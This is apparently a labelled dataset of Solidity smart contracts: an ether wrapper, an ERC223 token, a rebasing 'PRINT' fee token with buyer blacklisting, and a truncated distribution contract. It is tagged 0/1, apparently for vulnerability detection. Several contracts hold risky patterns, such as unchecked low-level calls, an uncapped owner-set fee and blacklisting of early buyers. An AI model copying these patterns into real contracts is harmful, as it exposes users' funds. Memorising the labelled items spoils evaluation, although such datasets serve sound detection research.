source_codes
stringlengths 72
205k
| labels
int64 0
1
| __index_level_0__
int64 0
5.56k
|
---|---|---|
pragma solidity ^0.5.16;
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
function getSynth(bytes32 key) external view returns (address);
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address);
}
interface IWETH {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
function deposit() external payable;
function withdraw(uint amount) external;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event Deposit(address indexed to, uint amount);
event Withdrawal(address indexed to, uint amount);
}
contract IEtherWrapper {
function mint(uint amount) external;
function burn(uint amount) external;
function distributeFees() external;
function capacity() external view returns (uint);
function getReserves() external view returns (uint);
function totalIssuedSynths() external view returns (uint);
function calculateMintFee(uint amount) public view returns (uint);
function calculateBurnFee(uint amount) public view returns (uint);
function maxETH() public view returns (uint256);
function mintFeeRate() public view returns (uint256);
function burnFeeRate() public view returns (uint256);
function weth() public view returns (IWETH);
}
interface ISynth {
function currencyKey() external view returns (bytes32);
function transferableSynths(address account) external view returns (uint);
function transferAndSettle(address to, uint value) external returns (bool);
function transferFromAndSettle(
address from,
address to,
uint value
) external returns (bool);
function burn(address account, uint amount) external;
function issue(address account, uint amount) external;
}
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IIssuer {
function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availableSynthCount() external view returns (uint);
function availableSynths(uint index) external view returns (ISynth);
function canBurnSynths(address account) external view returns (bool);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function collateralisationRatioAndAnyRatesInvalid(address _issuer)
external
view
returns (uint cratio, bool anyRateIsInvalid);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance);
function issuanceRatio() external view returns (uint);
function lastIssueEvent(address account) external view returns (uint);
function maxIssuableSynths(address issuer) external view returns (uint maxIssuable);
function minimumStakeTime() external view returns (uint);
function remainingIssuableSynths(address issuer)
external
view
returns (
uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt
);
function synths(bytes32 currencyKey) external view returns (ISynth);
function getSynths(bytes32[] calldata currencyKeys) external view returns (ISynth[] memory);
function synthsByAddress(address synthAddress) external view returns (bytes32);
function totalIssuedSynths(bytes32 currencyKey, bool excludeEtherCollateral) external view returns (uint);
function transferableSynthetixAndAnyRateIsInvalid(address account, uint balance)
external
view
returns (uint transferable, bool anyRateIsInvalid);
function issueSynths(address from, uint amount) external;
function issueSynthsOnBehalf(
address issueFor,
address from,
uint amount
) external;
function issueMaxSynths(address from) external;
function issueMaxSynthsOnBehalf(address issueFor, address from) external;
function burnSynths(address from, uint amount) external;
function burnSynthsOnBehalf(
address burnForAddress,
address from,
uint amount
) external;
function burnSynthsToTarget(address from) external;
function burnSynthsToTargetOnBehalf(address burnForAddress, address from) external;
function liquidateDelinquentAccount(
address account,
uint susdAmount,
address liquidator
) external returns (uint totalRedeemed, uint amountToLiquidate);
}
contract AddressResolver is Owned, IAddressResolver {
mapping(bytes32 => address) public repository;
constructor(address _owner) public Owned(_owner) {}
function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner {
require(names.length == destinations.length, "Input lengths must match");
for (uint i = 0; i < names.length; i++) {
bytes32 name = names[i];
address destination = destinations[i];
repository[name] = destination;
emit AddressImported(name, destination);
}
}
function rebuildCaches(MixinResolver[] calldata destinations) external {
for (uint i = 0; i < destinations.length; i++) {
destinations[i].rebuildCache();
}
}
function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) {
for (uint i = 0; i < names.length; i++) {
if (repository[names[i]] != destinations[i]) {
return false;
}
}
return true;
}
function getAddress(bytes32 name) external view returns (address) {
return repository[name];
}
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) {
address _foundAddress = repository[name];
require(_foundAddress != address(0), reason);
return _foundAddress;
}
function getSynth(bytes32 key) external view returns (address) {
IIssuer issuer = IIssuer(repository["Issuer"]);
require(address(issuer) != address(0), "Cannot find Issuer address");
return address(issuer.synths(key));
}
event AddressImported(bytes32 name, address destination);
}
contract ReadProxy is Owned {
address public target;
constructor(address _owner) public Owned(_owner) {}
function setTarget(address _target) external onlyOwner {
target = _target;
emit TargetUpdated(target);
}
function() external {
assembly {
calldatacopy(0, 0, calldatasize)
let result := staticcall(gas, sload(target_slot), 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)
if iszero(result) {
revert(0, returndatasize)
}
return(0, returndatasize)
}
}
event TargetUpdated(address newTarget);
}
contract MixinResolver {
AddressResolver public resolver;
mapping(bytes32 => address) private addressCache;
constructor(address _resolver) internal {
resolver = AddressResolver(_resolver);
}
function combineArrays(bytes32[] memory first, bytes32[] memory second)
internal
pure
returns (bytes32[] memory combination)
{
combination = new bytes32[](first.length + second.length);
for (uint i = 0; i < first.length; i++) {
combination[i] = first[i];
}
for (uint j = 0; j < second.length; j++) {
combination[first.length + j] = second[j];
}
}
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {}
function rebuildCache() public {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
address destination =
resolver.requireAndGetAddress(name, string(abi.encodePacked("Resolver missing target: ", name)));
addressCache[name] = destination;
emit CacheUpdated(name, destination);
}
}
function isResolverCached() external view returns (bool) {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) {
return false;
}
}
return true;
}
function requireAndGetAddress(bytes32 name) internal view returns (address) {
address _foundAddress = addressCache[name];
require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name)));
return _foundAddress;
}
event CacheUpdated(bytes32 name, address destination);
}
contract NativeEtherWrapper is Owned, MixinResolver {
bytes32 private constant CONTRACT_ETHER_WRAPPER = "EtherWrapper";
bytes32 private constant CONTRACT_SYNTHSETH = "SynthsETH";
constructor(address _owner, address _resolver) public Owned(_owner) MixinResolver(_resolver) {}
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {
bytes32[] memory addresses = new bytes32[](2);
addresses[0] = CONTRACT_ETHER_WRAPPER;
addresses[1] = CONTRACT_SYNTHSETH;
return addresses;
}
function etherWrapper() internal view returns (IEtherWrapper) {
return IEtherWrapper(requireAndGetAddress(CONTRACT_ETHER_WRAPPER));
}
function weth() internal view returns (IWETH) {
return etherWrapper().weth();
}
function synthsETH() internal view returns (IERC20) {
return IERC20(requireAndGetAddress(CONTRACT_SYNTHSETH));
}
function mint() public payable {
uint amount = msg.value;
require(amount > 0, "msg.value must be greater than 0");
weth().deposit.value(amount)();
weth().approve(address(etherWrapper()), amount);
etherWrapper().mint(amount);
synthsETH().transfer(msg.sender, synthsETH().balanceOf(address(this)));
emit Minted(msg.sender, amount);
}
function burn(uint amount) public {
require(amount > 0, "amount must be greater than 0");
IWETH weth = weth();
synthsETH().transferFrom(msg.sender, address(this), amount);
synthsETH().approve(address(etherWrapper()), amount);
etherWrapper().burn(amount);
weth.withdraw(weth.balanceOf(address(this)));
msg.sender.call.value(address(this).balance)("");
emit Burned(msg.sender, amount);
}
function() external payable {
}
event Minted(address indexed account, uint amount);
event Burned(address indexed account, uint amount);
} | 0 | 1,730 |
pragma solidity ^0.5.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC223 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function transfer(address to, uint value, bytes calldata data) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes memory _data) public {
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract StandardToken is IERC20, IERC223 {
uint256 public totalSupply;
using SafeMath for uint;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transfer(address _to, uint _value, bytes memory _data) public returns (bool success) {
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
require(_addr != address(0));
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes memory _data) private returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint _value, bytes memory _data) private returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
}
contract AITBotToken is StandardToken {
string public constant name = "AITBot Token ";
string public constant symbol = "AITBOT";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 1000000000 * 10 ** uint256(decimals);
constructor () public {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;
}
} | 1 | 5,123 |
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract PRINT is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address public deployer = 0x2D407dDb06311396fE14D4b49da5F0471447d45C;
address payable public walletAddress = payable(0x3BE5b419bD5b5E6Eb2318d6CD210128FEf7Eb3E9);
string private _name = 'Printer Finance';
string private _symbol = 'PRINT';
uint8 private _decimals = 18;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 1 * 1e6 * 1e18;
uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 public constant MAG = 10 ** 18;
uint256 public rateOfChange = MAG;
uint256 private _totalSupply;
uint256 public _gonsPerFragment;
mapping(address => uint256) public _gonBalances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping(address => bool) public blacklist;
mapping (address => uint256) public _buyInfo;
uint256 public _percentForTxLimit = 1;
uint256 public _percentForRebase = 5;
uint256 public _timeLimitFromLastBuy = 3 minutes;
uint256 public _fee = 4;
uint256 private uniswapV2PairAmount;
bool public _live = false;
bool inSwapAndLiquify;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
event SwapTokensForETH(uint256 amountIn, address[] path);
constructor () {
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonBalances[_msgSender()] = TOTAL_GONS;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
emit Transfer(deployer, _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if(account == uniswapV2Pair)
return uniswapV2PairAmount;
return _gonBalances[account].div(_gonsPerFragment);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeRate(uint256 fee) external onlyOwner {
_fee = fee;
}
function rebasePlus(uint256 _amount) private {
_totalSupply = _totalSupply.add((_amount*1000).div(1449));
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "ERC20: Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
uint256 txLimitAmount = _totalSupply.mul(_percentForTxLimit).div(100);
require(amount <= txLimitAmount, "ERC20: amount exceeds the max tx limit.");
if(from != uniswapV2Pair) {
require(!blacklist[from] && !blacklist[to], 'ERC20: No bots allowed.');
require(_buyInfo[from] == 0 || _buyInfo[from].add(_timeLimitFromLastBuy) < block.timestamp, "ERC20: Tx not allowed yet.");
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwapAndLiquify && to == uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > txLimitAmount) {
contractTokenBalance = txLimitAmount;
}
swapTokens(contractTokenBalance);
}
}
if (
(from == uniswapV2Pair || to == uniswapV2Pair) &&
!(from == address(this) || to == address(this))
) {
_tokenTransfer(from, to, amount, _fee);
}
else {
_tokenTransfer(from, to, amount, 0);
}
}
else {
if(!_live)
blacklist[to] = true;
require(balanceOf(to) + amount <= txLimitAmount*2, 'ERC20: current balance exceeds the max limit.');
_buyInfo[to] = block.timestamp;
_tokenTransfer(from, to, amount, _fee);
uint256 rebaseLimitAmount = _totalSupply.mul(_percentForRebase).div(100);
uint256 currentBalance = balanceOf(to);
uint256 newBalance = currentBalance.add(amount);
if(currentBalance < rebaseLimitAmount && newBalance < rebaseLimitAmount) {
rebasePlus(amount);
}
}
} else {
_tokenTransfer(from, to, amount, 0);
}
}
function _tokenTransfer(address from, address to, uint256 amount, uint256 taxFee) internal {
if(to == uniswapV2Pair)
uniswapV2PairAmount = uniswapV2PairAmount.add(amount);
else if(from == uniswapV2Pair)
uniswapV2PairAmount = uniswapV2PairAmount.sub(amount);
uint256 feeAmount = 0;
if (taxFee != 0) {
feeAmount = amount.mul(taxFee).div(100);
}
uint256 transferAmount = amount.sub(feeAmount);
uint256 gonTotalValue = amount.mul(_gonsPerFragment);
uint256 gonValue = transferAmount.mul(_gonsPerFragment);
uint256 gonFeeAmount = feeAmount.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonTotalValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, transferAmount);
if(gonFeeAmount > 0)
_gonBalances[address(this)] = _gonBalances[address(this)].add(gonFeeAmount);
}
function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToWallet(address(this).balance);
}
}
function sendETHToWallet(uint256 amount) private {
walletAddress.call{value: amount}("");
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
receive() external payable {}
function emergencyWithdraw() external onlyOwner {
payable(owner()).send(address(this).balance);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function setWalletAddress(address _walletAddress) external onlyOwner {
walletAddress = payable(_walletAddress);
}
function updateLive() external {
if(!_live) {
_live = true;
}
}
function unblockWallet(address account) public onlyOwner {
blacklist[account] = false;
}
function updatePercentForTxLimit(uint256 percentForTxLimit) public onlyOwner {
require(percentForTxLimit >= 1, 'ERC20: max tx limit should be greater than 1');
_percentForTxLimit = percentForTxLimit;
}
} | 0 | 1,476 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Distributable {
using SafeMath for uint256;
bool public distributed;
address[] public partners = [
0xb68342f2f4dd35d93b88081b03a245f64331c95c,
